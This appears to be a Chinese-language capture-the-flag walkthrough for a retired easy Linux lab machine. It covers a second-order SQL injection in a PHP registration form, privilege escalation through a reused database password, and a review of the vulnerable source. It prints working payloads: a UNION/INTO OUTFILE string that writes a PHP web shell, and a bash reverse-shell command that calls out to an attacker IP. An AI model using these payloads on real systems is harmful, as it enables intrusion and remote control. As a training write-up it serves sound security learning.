概述 (Overview)
HOST: 10.10.11.116
OS: LINUX
发布时间: 2021-09-13
完成时间: 2021-09-14
机器作者: ippsec
困难程度: easy
机器状态: 退休
MACHINE TAGS: #SQLi
攻击链 (Kiillchain)
使用 Nmap 对目标系统进行开放端口识别后,浏览器访问 HTTP 服务进行功能测试,发现存在 SQLi。通过二次注入触发Sql查询成功写入 WebShell 拿到立足点。
对站点的配置信息进行收集时,发现存在“密码复用”最终完成权限提升。
枚举(Enumeration)
老样子的,开始依然使用 Nmap 对目标服务进行开放端口扫描。
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
从结果中可以获知,目标服务器只开放了两个外部访问端口。
Port 80 - Apache/PHP
使用浏览器访问目标服务器80端口上的 HTTP 服务,看到的是一个带有注册功能的页面:
立足点(Foothold)
第一个参数为用户名,第二个参数为地址选项。经过测试,对第一个参数输入任意内容提交后进入 /account.php 页面会看到保存的数据列表,一切正常。而当在第二个参数中加入特殊的'
符号则会显示 PHP 的错误信息栈:
从错误信息中可以得到当前访问PHP页面的绝对路径,所以这里很大的可能性是存在二次[[SQL injection]],触发点就是 account.php 页面。
对于二次注入(Second-order SQL injection)的利用也很简单,可以用它来做数据库查询等操作。
比如通过表单传递保存的 payload 语句为:
country' union select user() -- -
当它成功保存到数据库中后,我们在访问 account.php 页面则会在页面中看到sql执行 user() 函数结果信息:uhc@localhost
脚本触发的SQL查询语句应该为:
SELECT username FROM xxx WHERE country ='country' union select user() -- -
通过目录枚举工具进行扫描找不到后台登录页面,转而尝试进行 WebShell 的文件写入:
username=admin1&country=country' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
随后访问站点根目录下的 shell.php 文件,随后使用该脚步进行命令执行:
成功执行命令拿到目标服务器的立足点:
cmd=/bin/bash+-c+"/bin/bash+-i+>%26+/dev/tcp/10.10.17.64/9900+0>%261"
权限提升(Privilege Escalation)
这台机器的提权就比较简单了,存在密码复用漏洞,使用 MySql 连接密码运行 su 成功提权。
<?php
// cat config.php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
复盘
我们看下一目标服务器的 SQLi 漏洞是如何产生的:
<?php
// index.php
require('config.php');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$userhash = md5($_POST['username']);
// 这里是安全的,用的预处理方式进行数据写入。
// 预处理语句对于防止 MySQL 注入是非常有用的。
$sql = "INSERT INTO registration (username, userhash, country, regtime) VALUES (?, ?, ?, ?)";
$stmt = $conn - > prepare($sql);
$stmt - > bind_param("sssi", $_POST['username'], $userhash, $_POST['country'], time());
$stmt - > execute();
setcookie('user', $userhash);
header("Location: /account.php");
exit;
}
?>
<?php
// account.php
include('config.php');
$user = $_COOKIE['user'];
$sql = "SELECT username, country FROM registration WHERE userhash = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $user);
$stmt->execute();
$result = $stmt->get_result(); // get the mysqli result
$row = $result->fetch_assoc(); // fetch data
echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>';
echo '<h3 class="text-white">Other Players In ' . $row['country'] . '</h3>';
// 问题出在此处,将查询结果的值未做任何清洗进行了字符串拼接
$sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'";
// 恶意的SQLi语句在此处执行
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
echo "<li class='text-white'>" . $row['username'] . "</li>";
}
?>
除此之外,我的 WebShell 文件很快就不见了,通过查看 Docker 启动时的指定运行脚本文件,发现Box的作者是通过 while 语句做的定时文件清理。
cat entrypoint.sh
#!/bin/sh
service mariadb start
apache2-foreground &
while :; do
clean_time=$(date +%s -d "15 minutes ago")
sleep 30
mysql -d registration -e "DELETE FROM registration WHERE regtime <= $clean_time"
find /var/www/html -type f -mmin +10 -not -name "account.php" -not -name "config.php" -not -name index.php -not -name bootstrap.min.css -exec rm {} \;
echo $clean_time >> /tmp/clean
done